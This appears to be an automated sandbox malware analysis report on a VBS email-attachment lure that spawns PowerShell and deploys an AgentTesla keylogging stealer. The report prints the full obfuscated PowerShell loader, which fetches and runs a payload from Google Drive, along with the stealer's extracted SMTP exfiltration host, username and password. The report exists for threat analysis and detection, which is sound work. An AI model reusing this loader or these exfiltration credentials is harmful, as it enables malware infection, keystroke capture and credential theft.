AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam ndDrawbepub.ir BrdssTreet[Hyper$AnspoS offetRemineSti

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

URL Reputation: Label: malware

Found malware configuration

Source: wscript.exe.7468.1.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.myhydropowered.com", "Username": "africa@myhydropowered.com", "Password": "q5NHtWyc5WKhunX"}

Multi AV Scanner detection for domain / URL

Source: mail.myhydropowered.com

Virustotal: Detection: 5%

Perma Link

Multi AV Scanner detection for submitted file

Source: Arrival Notice PUS_pdf.vbs	ReversingLabs: Detection: 13%
Source: Arrival Notice PUS_pdf.vbs	Virustotal: Detection: 15%			Perma Link

Source: unknown	HTTPS traffic detected: 142.251.15.139:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.105.132:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.15.139:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.105.132:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.9:49715 version: TLS 1.2

Source:	Binary string: qm.Core.pdb source: powershell.exe, 00000009.00000002.2010987312.0000000007872000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb source: powershell.exe, 00000009.00000002.2010987312.0000000007807000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000009.00000002.2003068899.0000000003320000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: ip-api.com

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DR HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DR&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1nQic9drH1PbiJHqocgcGVmSGhgio27Iy HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1nQic9drH1PbiJHqocgcGVmSGhgio27Iy&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DR HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DR&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1nQic9drH1PbiJHqocgcGVmSGhgio27Iy HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1nQic9drH1PbiJHqocgcGVmSGhgio27Iy&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: drive.google.com

Source: powershell.exe, 00000009.00000002.2003068899.00000000032BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: wscript.exe, 00000001.00000003.1345209659.00000171D0371000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: wscript.exe, 00000001.00000003.1462009599.00000171CE2FF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1463253642.00000171CE389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: wscript.exe, 00000001.00000003.1462009599.00000171CE2FF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1463253642.00000171CE389000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1346641389.00000171D0334000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1346068233.00000171D030C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1463388260.00000171D0280000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000001.00000003.1346068233.00000171D030C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?11a65f450b971
Source: wscript.exe, 00000001.00000003.1346468271.00000171D02E8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000003.1346289034.00000171D02C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?11a65f450b
Source: powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.google.com
Source: powershell.exe, 00000003.00000002.2266575309.00000189233D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.usercontent.google.com
Source: powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.2004751510.0000000005068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.2266575309.00000189215F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000009.00000002.2004751510.0000000005068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.2266575309.00000189215F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.2266575309.0000018923399000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googP
Source: powershell.exe, 00000003.00000002.2266575309.0000018922EAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000003.00000002.2266575309.0000018921817000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DRP
Source: powershell.exe, 00000009.00000002.2004751510.0000000005068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DRXR
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.googh
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1olG4R0HLjL50hYvDusE_ST-CKhKIr-DR&export=download
Source: powershell.exe, 00000003.00000002.2266575309.0000018921A7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.comhP
Source: powershell.exe, 00000009.00000002.2004751510.0000000005068000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000003.00000002.2266575309.0000018922882000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.2435920158.0000018931660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: powershell.exe, 00000003.00000002.2266575309.00000189233C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.00000189233C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.0000018921A79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2266575309.000001892339D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713

Source: unknown	HTTPS traffic detected: 142.251.15.139:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.105.132:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.15.139:443 -> 192.168.2.9:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.105.132:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.9:49715 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Program Files (x86)\Windows Mail\wab.exe

Windows user hook set: 0 keyboard low level C:\Program Files (x86)\windows mail\wab.exe

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_8108.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7660, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8108, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Unperiphrased.ShellExecute Coinsurable,maengdebegreb,"","" ,Allness139

Sample has a suspicious name (potential lure to open the executable)

Source: Arrival Notice PUS_pdf.vbs

Static file information: Suspicious name

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6253
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 6253
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 6253	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: Commandline size = 6253	Jump to behavior

Writes or reads registry keys via WMI

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::EnumKey

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Klervske = 1;$Hengivnes='Substrin';$Hengivnes+='g';Function Banuyo17($Kolonihaves){$Paraglossia=$Kolonihaves.Length-$Klervske;For($Grazer=5; $Grazer -lt $Paraglossia; $Grazer+=(6)){$Fradrage249+=$Kolonihaves.$Hengivnes.Invoke($Grazer, $Klervske);}$Fradrage249;}function decoupled($Calorically){& ($Sommerperioden) ($Calorically);}$Brodfrs=Banuyo17 'B mbeMstillor,kalzRehoniGematlLacerlMatria asse/ P.oc5Klods.Sy.sl0Azotu prore( BjerWBuskaiUfejlnLigkad,yclooUdstawRessosStarn Cran,NArbejTKisse Depe1Kv te0Incre.O lys0 Nove; H na pathoWScrobiBndlenLoved6A.skr4Ma.ne;For a PresixOblig6Imper4Uophr;Fejlb KvalirShiitvTinct: Gru 1Carro2Le,kb1Diasy. Demu0Smi g) skin RumplGEnosteSolitc Fo hkCyma,o Blnd/Paape2H.rsk0 Doze1 ofma0Tasti0Unbad1Distr0Odont1Vag,e TosseFBrohoi Semir,yvsteBrnesf SkiroVelsexExuld/Bevis1Ujaev2Samos1Exter.Thwac0Sees ';$Stenotaphrum=Banuyo17 'Trbl,UKomplsStatseSmaalr Hj,o-Det,uALovfog ,asteForomn Un ntGreg ';$Amputationer=Banuyo17 'Sederh Ar.dtFremsttredip.luklsGalde: Ansk/Fr.ml/AntiadKvster MandiFripavSati.eG.lio. SikkgSeb soByto,oMaximgNontelBal ieEinar.SyntacArb.jo ,gebmBalda/InterugonofcOvera?TakeueUvistxKvit,pR,maioindberTranst Pree=CaissdPosteoBowlewCorn,n SteelUns.loMatera Boncd Besi&O erfiUnburdSynta=Prten1,aghuoPars lMelonGImper4underRSho.t0ExcurHtang,LUntrejAut eL,aben5Astho0Ton.dh u,viYGodkevMel eD IncruCylinsI.olaEUrtep_DistrSHyperTAfl s-KulbrCScrevKHugorhThermKImperIPadd r Db.f- FrasD.vervRNo,ar ';$Laservid=Banuyo17 'Mili.>.nten ';$Sommerperioden=Banuyo17 'Ga boiFor.seForndxV ars ';$pseudonitrosite = Banuyo17 'Bru,eeCr.chc P.coh.odomo.kuds Afsni%Sol,eaRe.sepUnderpTruand.icebaSavortSectiaUnder%Hangm\Ene gASkotjuSystesWopudt SprorAllosaIndsklPremiiGigg.a balln forssAmygd. AlsiHNormtoSt rmvCorka Chond& Sk u& Stan Sp,see Orn,cErhvehmonaroTerep .epu$ Coal ';decoupled (Banuyo17 'Overk$Kkkeng J,gelLivsooUd,tibSleepaphotolBarda:NewsdF Os.auMultilFe.tud TyphmTamaraKlaveaEllipnForsteParalrOptag=Stran(,torkc,anghmRea tdNerve Skunk/BrrencIndl Langb$UndulpIndh sPr.oceOrganuhemlidAust oLokalnTerroi ImmatTrombrR.dimoCon,es Lig i McmutdknaveMotor)Inds ');decoupled (Banuyo17 ',rnsk$F,stegSili lSaksnoPr.blbAghanaBeseelTriak:StaffBD wcooGallftGngerr undey CecelKo,gelEmotii.appedSnakea K ajeU.ret=Uddel$fyrinA,lutmm.osimpFra auBekentSubdeaCostltIndpoiCholaoSemiwnOpstaeBuffer Unsy.CommissynkrpMaterl PolliFlight Scra( Fusi$Fr igLlnsuma Cir.s MetaeKunstrModerv OptaibirgidFinge)Bidra ');$Amputationer=$Botryllidae[0];decoupled (Banuyo17 ',lyve$Ek,orgMiswrlTherioPlenubFedtiaLfterlTexti: temKFiskerIsocyeOvergm ubee Parar KicheDyna tOpspa= SvigNSvin,efibe,w Port-KrakeO urtzbhypopjGa,eke Unvocprfert Bulb sl,ghSDiscoy errasShanktErhere Ma gmSmert.DubioNHaworePrototSliv.. rojWFeneseKv,enb ,uriCMyreulStudei PrsteBssemnBogomtBeby ');decoupled (Banuyo17 'Arbej$JenirKStjerrbegiteBarsemHaandeudsidrMrke.e Fordtjunki.lensaHNovemeDiakoaSam			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF886E4C342	3_2_00007FF886E4C342
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 3_2_00007FF886E4B596	3_2_00007FF886E4B596
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_02EF41F8	12_2_02EF41F8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_02EF4AC8	12_2_02EF4AC8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_02EF3EB0	12_2_02EF3EB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AE3BD8	12_2_28AE3BD8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AF68A8	12_2_28AF68A8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AFEA69	12_2_28AFEA69
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AF0040	12_2_28AF0040
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AF33E8	12_2_28AF33E8
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Code function: 12_2_28AF89E0	12_2_28AF89E0
